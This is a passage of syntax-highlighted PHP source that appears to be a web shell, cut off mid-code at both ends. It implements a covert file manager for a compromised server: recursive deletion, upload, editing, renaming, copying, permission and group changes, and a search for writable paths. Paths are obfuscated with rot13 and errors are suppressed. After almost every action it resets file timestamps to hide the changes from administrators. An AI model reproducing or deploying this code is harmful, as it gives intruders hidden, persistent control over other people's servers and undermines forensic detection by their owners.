class="symbol">:</th><</span>?php</span><br><span class="line"><span class="variable">$a</span> = range(<span class="string">'a'</span>, <span class="string">'z'</span>);</span><br><span class="line">foreach (<span class="variable">$a</span> as <span class="variable">$d</span>) <span class="keyword">if</span> (<span class="variable">@is_dir</span>(<span class="variable">$d</span> . <span class="string">':'</span>)) echo <span class="string">'<form action="" method="post"><td width="20px"><button type="submit" name="fp" value="'</span> . <span class="variable">$d</span> . <span class="string">':" style="padding:0; border:none; background:none;">'</span> . strtoupper(<span class="variable">$d</span>) . <span class="string">':</button></td><input type="hidden" name="fe"/></form>'</span>; ?><form action=<span class="string">""</span> method=<span class="string">"post"</span>><td><input type=<span class="string">"text"</span> name=<span class="string">"fp"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string">echo escHTML($_SESSION['CP']); ?>"</span> style=<span class="string">"width:100%"</span>/></td><td width=<span class="string">"30px"</span> align=<span class="string">"right"</span>><input type=<span class="string">"submit"</span> value=<span class="string">"&gt;"</span>/></td><input type=<span class="string">"hidden"</span> name=<span class="string">"fe"</span>/></form><form action=<span class="string">""</span> method=<span class="string">"post"</span>><td width=<span class="string">"60px"</span> align=<span class="string">"right"</span>><input type=<span class="string">"submit"</span> name=<span class="string">"gh"</span> value=<span class="string">"Home"</span>/></td><input type=<span class="string">"hidden"</span> name=<span class="string">"fe"</span>/></form></tr></table></fieldset> <fieldset class=<span class="string">"nav"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span>><input type=<span class="string">"hidden"</span> name=<span class="string">"fe"</span>/><b><span class="title class_">Jump</span> <span class="symbol">:</b>&nbsp</span>;<?php</span><br><span class="line"><span class="variable">$k</span> = <span class="string">''</span>;</span><br><span class="line"><span class="variable">$v</span> = explode(<span class="string">'/'</span>, rtrim(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>], <span class="string">'/'</span>));</span><br><span class="line">foreach (<span class="variable">$v</span> as <span class="variable">$i</span>) {</span><br><span class="line"> <span class="variable">$k</span>.= <span class="variable">$i</span> . <span class="string">'/'</span>;</span><br><span class="line"> echo <span class="string">'<button type="submit"name="fp"class="sb"value="'</span>, escHTML(<span class="variable">$k</span>) , <span class="string">'">'</span>, escHTML(<span class="variable">$i</span>) , <span class="string">'/</button>'</span>;</span><br><span class="line">} ?></form></fieldset><?php</span><br><span class="line"><span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fe'</span>]) || isset(<span class="variable">$_POST</span>[<span class="string">'fs'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'fd'</span>]) || isset(<span class="variable">$_POST</span>[<span class="string">'fda'</span>])) {</span><br><span class="line"> function dd(<span class="variable">$p</span>) {</span><br><span class="line"> <span class="variable">$p</span> = <span class="variable">@realpath</span>(<span class="variable">$p</span>);</span><br><span class="line"> <span class="variable">$d</span> = <span class="variable">@opendir</span>(<span class="variable">$p</span>);</span><br><span class="line"> while (<span class="title class_">FALSE</span> !== (<span class="variable">$f</span> = <span class="variable">@readdir</span>(<span class="variable">$d</span>))) <span class="keyword">if</span> (<span class="variable">$f</span> != <span class="string">'.'</span> && <span class="variable">$f</span> != <span class="string">'..'</span>) {</span><br><span class="line"> <span class="keyword">if</span> (is_dir(<span class="variable">$p</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . <span class="variable">$f</span>)) dd(<span class="variable">$p</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . <span class="variable">$f</span>);</span><br><span class="line"> <span class="keyword">else</span> <span class="variable">@unlink</span>(<span class="variable">$p</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . <span class="variable">$f</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">@closedir</span>(<span class="variable">$d</span>);</span><br><span class="line"> <span class="variable">@rmdir</span>(<span class="variable">$p</span>);</span><br><span class="line"> }</span><br><span class="line"> function dfd(<span class="variable">$p</span>) {</span><br><span class="line"> <span class="variable">$p</span> = str_rot13(<span class="variable">$p</span>);</span><br><span class="line"> <span class="variable">$s</span> = <span class="variable">@stat</span>(dirname(<span class="variable">$p</span>));</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@is_dir</span>(<span class="variable">$p</span>)) dd(<span class="variable">$p</span>);</span><br><span class="line"> <span class="keyword">else</span> <span class="variable">@unlink</span>(<span class="variable">$p</span>);</span><br><span class="line"> <span class="variable">@touch</span>(dirname(<span class="variable">$p</span>) , <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fda'</span>]) && !empty(<span class="variable">$_POST</span>[<span class="string">'fc'</span>])) foreach (<span class="variable">$_POST</span>[<span class="string">'fc'</span>] as <span class="variable">$f</span>) dfd(<span class="variable">$f</span>);</span><br><span class="line"> elseif (!empty(<span class="variable">$_POST</span>[<span class="string">'fd'</span>])) dfd(<span class="variable">$_POST</span>[<span class="string">'fd'</span>]);</span><br><span class="line"> } elseif (!empty(<span class="variable">$_POST</span>[<span class="string">'fm'</span>]) || isset(<span class="variable">$_POST</span>[<span class="string">'fma'</span>])) {</span><br><span class="line"> function aml(<span class="variable">$p</span>) {</span><br><span class="line"> <span class="variable">$p</span> = str_rot13(<span class="variable">$p</span>);</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>][<span class="variable">$p</span>])) unset(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>][<span class="variable">$p</span>]);</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>][<span class="variable">$p</span>])) unset(<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>][<span class="variable">$p</span>]);</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'MO'</span>][<span class="variable">$p</span>] = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fma'</span>]) && !empty(<span class="variable">$_POST</span>[<span class="string">'fc'</span>])) foreach (<span class="variable">$_POST</span>[<span class="string">'fc'</span>] as <span class="variable">$f</span>) aml(<span class="variable">$f</span>);</span><br><span class="line"> elseif (!empty(<span class="variable">$_POST</span>[<span class="string">'fm'</span>])) aml(<span class="variable">$_POST</span>[<span class="string">'fm'</span>]);</span><br><span class="line"> } elseif (!empty(<span class="variable">$_POST</span>[<span class="string">'fcf'</span>]) || isset(<span class="variable">$_POST</span>[<span class="string">'fca'</span>])) {</span><br><span class="line"> function acl(<span class="variable">$p</span>) {</span><br><span class="line"> <span class="variable">$p</span> = str_rot13(<span class="variable">$p</span>);</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>][<span class="variable">$p</span>])) unset(<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>][<span class="variable">$p</span>]);</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>][<span class="variable">$p</span>])) unset(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>][<span class="variable">$p</span>]);</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'CO'</span>][<span class="variable">$p</span>] = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fca'</span>]) && !empty(<span class="variable">$_POST</span>[<span class="string">'fc'</span>])) foreach (<span class="variable">$_POST</span>[<span class="string">'fc'</span>] as <span class="variable">$f</span>) acl(<span class="variable">$f</span>);</span><br><span class="line"> elseif (!empty(<span class="variable">$_POST</span>[<span class="string">'fcf'</span>])) acl(<span class="variable">$_POST</span>[<span class="string">'fcf'</span>]);</span><br><span class="line"> } elseif (isset(<span class="variable">$_POST</span>[<span class="string">'fbc'</span>])) unset(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>], <span class="variable">$_SESSION</span>[<span class="string">'CO'</span>]);</span><br><span class="line"> elseif (isset(<span class="variable">$_POST</span>[<span class="string">'fbp'</span>])) {</span><br><span class="line"> function cd(<span class="variable">$p</span>, <span class="variable">$d</span>) {</span><br><span class="line"> <span class="variable">$p</span> = <span class="variable">@realpath</span>(<span class="variable">$p</span>);</span><br><span class="line"> <span class="variable">$sd</span> = <span class="variable">@stat</span>(<span class="variable">$d</span>);</span><br><span class="line"> <span class="variable">$n</span> = <span class="variable">$d</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . bname(<span class="variable">$p</span>);</span><br><span class="line"> <span class="keyword">if</span> ((<span class="variable">@is_dir</span>(<span class="variable">$n</span>) && <span class="variable">@is_writable</span>(<span class="variable">$n</span>)) || <span class="variable">@mkdir</span>(<span class="variable">$n</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$h</span> = <span class="variable">@opendir</span>(<span class="variable">$p</span>)) {</span><br><span class="line"> <span class="variable">$s</span> = <span class="variable">@stat</span>(<span class="variable">$n</span>);</span><br><span class="line"> while (<span class="title class_">FALSE</span> !== (<span class="variable">$f</span> = <span class="variable">@readdir</span>(<span class="variable">$h</span>))) <span class="keyword">if</span> (<span class="variable">$f</span> != <span class="string">'.'</span> && <span class="variable">$f</span> != <span class="string">'..'</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@is_dir</span>(<span class="variable">$p</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . <span class="variable">$f</span>)) cd(<span class="variable">$p</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . <span class="variable">$f</span>, <span class="variable">$n</span>);</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$sf</span> = <span class="variable">@stat</span>(<span class="variable">$p</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . <span class="variable">$f</span>);</span><br><span class="line"> <span class="variable">@copy</span>(<span class="variable">$p</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . <span class="variable">$f</span>, <span class="variable">$n</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . <span class="variable">$f</span>);</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$p</span> . <span class="title class_">DIRECTORY_SEPARATOR</span> . <span class="variable">$f</span>, <span class="variable">$sf</span>[<span class="number">9</span>], <span class="variable">$sf</span>[<span class="number">8</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">@closedir</span>(<span class="variable">$h</span>);</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$n</span>, <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$d</span>, <span class="variable">$sd</span>[<span class="number">9</span>], <span class="variable">$sd</span>[<span class="number">8</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$s</span> = <span class="variable">@stat</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>])) {</span><br><span class="line"> foreach (<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>] as <span class="variable">$v</span> => <span class="variable">$n</span>) {</span><br><span class="line"> <span class="variable">$t</span> = <span class="variable">$_SESSION</span>[<span class="string">'CP'</span>] . bname(<span class="variable">$v</span>);</span><br><span class="line"> <span class="variable">$td</span> = dirname(<span class="variable">$v</span>);</span><br><span class="line"> <span class="variable">$st</span> = <span class="variable">@stat</span>(<span class="variable">$td</span>);</span><br><span class="line"> <span class="variable">@rename</span>(<span class="variable">$v</span>, <span class="variable">$t</span>);</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$t</span>, <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$td</span>, <span class="variable">$st</span>[<span class="number">9</span>], <span class="variable">$st</span>[<span class="number">8</span>]);</span><br><span class="line"> }</span><br><span class="line"> unset(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>])) {</span><br><span class="line"> foreach (<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>] as <span class="variable">$v</span> => <span class="variable">$n</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@is_dir</span>(<span class="variable">$v</span>)) cd(<span class="variable">$v</span>, <span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]);</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$t</span> = <span class="variable">$_SESSION</span>[<span class="string">'CP'</span>] . bname(<span class="variable">$v</span>);</span><br><span class="line"> <span class="variable">$sv</span> = <span class="variable">@stat</span>(<span class="variable">$v</span>);</span><br><span class="line"> <span class="variable">@copy</span>(<span class="variable">$v</span>, <span class="variable">$t</span>);</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$t</span>, <span class="variable">$sv</span>[<span class="number">9</span>], <span class="variable">$sv</span>[<span class="number">8</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> unset(<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>]);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>], <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> } elseif (!empty(<span class="variable">$_POST</span>[<span class="string">'frs'</span>]) && !empty(<span class="variable">$_POST</span>[<span class="string">'frd'</span>])) {</span><br><span class="line"> <span class="variable">$ts</span> = <span class="variable">@stat</span>(dirname(<span class="variable">$_POST</span>[<span class="string">'frs'</span>]));</span><br><span class="line"> <span class="variable">$td</span> = <span class="variable">@stat</span>(dirname(<span class="variable">$_POST</span>[<span class="string">'frd'</span>]));</span><br><span class="line"> <span class="variable">$to</span> = <span class="variable">@stat</span>(<span class="variable">$_POST</span>[<span class="string">'frs'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@rename</span>(<span class="variable">$_POST</span>[<span class="string">'frs'</span>], <span class="variable">$_POST</span>[<span class="string">'frd'</span>])) {</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$_POST</span>[<span class="string">'frd'</span>], <span class="variable">$to</span>[<span class="number">9</span>], <span class="variable">$to</span>[<span class="number">8</span>]);</span><br><span class="line"> <span class="variable">@touch</span>(dirname(<span class="variable">$_POST</span>[<span class="string">'frs'</span>]) , <span class="variable">$ts</span>[<span class="number">9</span>], <span class="variable">$ts</span>[<span class="number">8</span>]);</span><br><span class="line"> <span class="variable">@touch</span>(dirname(<span class="variable">$_POST</span>[<span class="string">'frd'</span>]) , <span class="variable">$td</span>[<span class="number">9</span>], <span class="variable">$td</span>[<span class="number">8</span>]);</span><br><span class="line"> sm(<span class="string">'Rename successfully. Congratulations!'</span>, <span class="string">'i'</span>);</span><br><span class="line"> } <span class="keyword">else</span> sm(<span class="string">'Can\'t rename. Sorry.'</span>, <span class="string">'e'</span>);</span><br><span class="line"> } elseif (!empty(<span class="variable">$_POST</span>[<span class="string">'fn'</span>])) {</span><br><span class="line"> <span class="variable">$s</span> = <span class="variable">@stat</span>(dirname(<span class="variable">$_POST</span>[<span class="string">'fn'</span>]));</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$_POST</span>[<span class="string">'t'</span>] == <span class="string">'f'</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$fh</span> = <span class="variable">@fopen</span>(<span class="variable">$_POST</span>[<span class="string">'fn'</span>], <span class="string">'w'</span>)) {</span><br><span class="line"> <span class="variable">@fclose</span>(<span class="variable">$fh</span>);</span><br><span class="line"> <span class="variable">$_POST</span>[<span class="string">'fef'</span>] = <span class="variable">$_POST</span>[<span class="string">'fn'</span>];</span><br><span class="line"> } <span class="keyword">else</span> sm(<span class="string">'Can\'t create file. Sorry.'</span>, <span class="string">'e'</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@mkdir</span>(<span class="variable">$_POST</span>[<span class="string">'fn'</span>])) sm(<span class="string">'Folder created successfully. Congratulations!'</span>, <span class="string">'i'</span>);</span><br><span class="line"> <span class="keyword">else</span> sm(<span class="string">'Can\'t create folder. Sorry.'</span>, <span class="string">'e'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$_POST</span>[<span class="string">'fn'</span>], <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> <span class="variable">@touch</span>(dirname(<span class="variable">$_POST</span>[<span class="string">'fn'</span>]) , <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> } elseif (!empty(<span class="variable">$_FILES</span>)) {</span><br><span class="line"> foreach (<span class="variable">$_FILES</span>[<span class="string">'fu'</span>][<span class="string">'name'</span>] as <span class="variable">$i</span> => <span class="variable">$v</span>) {</span><br><span class="line"> <span class="variable">$s</span> = <span class="variable">@stat</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]);</span><br><span class="line"> <span class="variable">@move_uploaded_file</span>(<span class="variable">$_FILES</span>[<span class="string">'fu'</span>][<span class="string">'tmp_name'</span>][<span class="variable">$i</span>], <span class="variable">$_SESSION</span>[<span class="string">'CP'</span>] . <span class="variable">$v</span>);</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>] . <span class="variable">$v</span>, <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>], <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fef'</span>])) { ?> <fieldset><form action=<span class="string">""</span> method=<span class="string">"post"</span> align=<span class="string">"center"</span>><input type=<span class="string">"hidden"</span> name=<span class="string">"fe"</span>/><input type=<span class="string">"hidden"</span> name=<span class="string">"fpr"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML(str_rot13($_POST['fef'])); ?>"</span>/><input type=<span class="string">"submit"</span> value=<span class="string">"Edit file"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"ai"</span> value=<span class="string">"Show as image"</span>/></form></fieldset> <?php</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@is_file</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>])) {</span><br><span class="line"> <span class="variable">$s</span> = <span class="variable">@stat</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fefs'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$f</span> = <span class="variable">@fopen</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>], <span class="string">'w'</span>)) {</span><br><span class="line"> <span class="variable">@fwrite</span>(<span class="variable">$f</span>, <span class="variable">$_POST</span>[<span class="string">'fefc'</span>]);</span><br><span class="line"> <span class="variable">@fclose</span>(<span class="variable">$f</span>);</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>], <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> sm(<span class="string">'File successfully saved. Congratulations!'</span>, <span class="string">'i'</span>);</span><br><span class="line"> } <span class="keyword">else</span> sm(<span class="string">'Can\'t save this file. Sorry.'</span>, <span class="string">'e'</span>);</span><br><span class="line"> } elseif (isset(<span class="variable">$_POST</span>[<span class="string">'fefp'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@chmod</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>], intval(<span class="variable">$_POST</span>[<span class="string">'fefp'</span>], <span class="number">8</span>))) {</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>], <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> sm(<span class="string">'File permissions successfully changed. Congratulations!'</span>, <span class="string">'i'</span>);</span><br><span class="line"> } <span class="keyword">else</span> sm(<span class="string">'Can\'t change file permissions. Sorry.'</span>, <span class="string">'e'</span>);</span><br><span class="line"> } elseif (isset(<span class="variable">$_POST</span>[<span class="string">'fefg'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@chgrp</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>], <span class="variable">$_POST</span>[<span class="string">'fefg'</span>])) {</span><br><span class="line"> <span class="variable">@touch</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>], <span class="variable">$s</span>[<span class="number">9</span>], <span class="variable">$s</span>[<span class="number">8</span>]);</span><br><span class="line"> sm(<span class="string">'File group successfully changed. Congratulations!'</span>, <span class="string">'i'</span>);</span><br><span class="line"> } <span class="keyword">else</span> sm(<span class="string">'Can\'t change file group. Sorry.'</span>, <span class="string">'e'</span>);</span><br><span class="line"> } elseif (isset(<span class="variable">$_POST</span>[<span class="string">'fefd'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@touch</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>], <span class="variable">@strtotime</span>(<span class="variable">$_POST</span>[<span class="string">'fefd'</span>]))) sm(<span class="string">'File modification times successfully changed. Congratulations!'</span>, <span class="string">'i'</span>);</span><br><span class="line"> <span class="keyword">else</span> sm(<span class="string">'Can\'t change file modification times. Sorry'</span>, <span class="string">'e'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'ai'</span>])) {</span><br><span class="line"> echo <span class="string">'<center><img alt="Can\'t show as image. Sorry." src="data:image;base64,'</span>, base64_encode(<span class="variable">@file_get_contents</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>])) , <span class="string">'"/></center>'</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@is_readable</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>])) { ?><form action=<span class="string">""</span> method=<span class="string">"post"</span> style=<span class="string">"padding-top:0"</span>><fieldset style=<span class="string">"text-align:right"</span>><?php</span><br><span class="line"> echo <span class="string">'<input type="text" value="'</span> . escHTML(<span class="variable">$_POST</span>[<span class="string">'fef'</span>]) . <span class="string">'" style="width:'</span>, <span class="variable">@is_writable</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>]) ? <span class="string">'925px" name="fef"/> <input type="submit" name="fe" value="Save"/><input type="hidden" name="fefs"/>'</span> : <span class="string">'900px" readonly="readonly"/> READ ONLY'</span>; ?></fieldset><textarea name=<span class="string">"fefc"</span> id=<span class="string">"s"</span>><?php</span><br><span class="line"> <span class="variable">$f</span> = <span class="variable">@fopen</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>], <span class="string">'rb'</span>);</span><br><span class="line"> while (!feof(<span class="variable">$f</span>)) echo escHTML(fread(<span class="variable">$f</span>, <span class="number">1048576</span>));</span><br><span class="line"> <span class="variable">@fclose</span>(<span class="variable">$f</span>); ?></textarea></form><?php</span><br><span class="line"> } <span class="keyword">else</span> sm(<span class="string">'Can\'t read this file. Sorry.'</span>, <span class="string">'e'</span>);</span><br><span class="line"> <span class="variable">@clearstatcache</span>(<span class="title class_">FALSE</span>, <span class="variable">$_POST</span>[<span class="string">'fef'</span>]);</span><br><span class="line"> <span class="variable">$s</span> = <span class="variable">@stat</span>(<span class="variable">$_POST</span>[<span class="string">'fef'</span>]); ?><fieldset><table width=<span class="string">"100%"</span> style=<span class="string">"table-layout:auto;text-align:center"</span>><tr><td><form action=<span class="string">""</span> method=<span class="string">"post"</span>><span class="symbol">Perms:</span> <input type=<span class="string">"text"</span> name=<span class="string">"fefp"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo substr(sprintf('%o', @fileperms($_POST['fef'])) , -5); ?>"</span> style=<span class="string">"width:55px"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fe"</span> value=<span class="string">"&gt;"</span>/><input type=<span class="string">"hidden"</span> name=<span class="string">"fpr"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML(str_rot13($_POST['fef'])); ?>"</span>/></form></td><td><form action=<span class="string">""</span> method=<span class="string">"post"</span>><span class="symbol">Group:</span> <input type=<span class="string">"text"</span> name=<span class="string">"fefg"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo $s[5]; ?>"</span> style=<span class="string">"width:100px"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fe"</span> value=<span class="string">"&gt;"</span>/><input type=<span class="string">"hidden"</span> name=<span class="string">"fpr"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML(str_rot13($_POST['fef'])); ?>"</span>/></form></td><td><form action=<span class="string">""</span> method=<span class="string">"post"</span>><span class="title class_">Mtime</span> (<span class="symbol">ctime:</span> <?php</span><br><span class="line"> echo <span class="variable">@date</span>(<span class="string">'Y-m-d H:i:s'</span>, <span class="variable">$s</span>[<span class="number">10</span>]); ?>): <input type=<span class="string">"text"</span> name=<span class="string">"fefd"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo @date('Y-m-d H:i:s', $s[9]); ?>"</span> style=<span class="string">"width:140px"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fe"</span> value=<span class="string">"&gt;"</span>/><input type=<span class="string">"hidden"</span> name=<span class="string">"fpr"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML(str_rot13($_POST['fef'])); ?>"</span>/></form></td></tr></table></fieldset><?php</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> sm(<span class="string">'Can\'t read this file. Sorry.'</span>, <span class="string">'e'</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$d</span> = array(</span><br><span class="line"> <span class="string">'/directory1'</span>,</span><br><span class="line"> <span class="string">'/dir2/subdir2'</span>,</span><br><span class="line"> <span class="string">'/dir3/*/subsubdir3'</span>,</span><br><span class="line"> <span class="string">'dir4/lang-??/'</span></span><br><span class="line"> );</span><br><span class="line"> <span class="keyword">if</span> (<span class="title class_">IW</span>) <span class="variable">$d</span> = <span class="string">'c:'</span> . implode(<span class="string">';c:'</span>, <span class="variable">$d</span>);</span><br><span class="line"> <span class="keyword">else</span> <span class="variable">$d</span> = implode(<span class="string">';'</span>, <span class="variable">$d</span>);</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fs'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'fss'</span>])) {</span><br><span class="line"> <span class="variable">$_POST</span>[<span class="string">'fst'</span>] = <span class="number">1</span>;</span><br><span class="line"> <span class="variable">$_POST</span>[<span class="string">'fsr'</span>] = <span class="number">1</span>;</span><br><span class="line"> } ?><fieldset align=<span class="string">"center"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span>><input type=<span class="string">"hidden"</span> name=<span class="string">"fe"</span>/><span class="title class_">Search</span> <select name=<span class="string">"fsr"</span>><option value=<span class="string">"0"</span>>any</option><option value=<span class="string">"1"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fsr'</span>]) && <span class="variable">$_POST</span>[<span class="string">'fsr'</span>] == <span class="number">1</span>) echo <span class="string">' selected="selected"'</span>; ?>>readable&nbsp;</option><option value=<span class="string">"2"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'fsr'</span>]) && <span class="variable">$_POST</span>[<span class="string">'fsr'</span>] == <span class="number">2</span>) echo <span class="string">' selected="selected"'</span>; ?>>writable&nbsp;</option></select> <select name=<span class="string">"fst"</span>><option value=<span class="string">"0"</span>>objects&nbsp;</option><option value=<span class="string">"1"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'fst'</span>]) && <span class="variable">$_POST</span>[<span class="string">'fst'</span>] == <span class="number">1</span>) echo <span class="string">' selected="selected"'</span>; ?>>files&nbsp;</option><option value=<span class="string">"2"</span><?php</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'fst'</span>]) && <span class="variable">$_POST</span>[<span class="string">'fst'</span>] == <span class="number">2</span>) echo <span class="string">' selected="selected"'</span>; ?>>dirs&nbsp;</option></select> <span class="keyword">with</span> a name <input type=<span class="string">"text"</span> name=<span class="string">"fsn"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo empty($_POST['fsn']) ? '*' : escHTML($_POST['fsn']); ?>"</span> 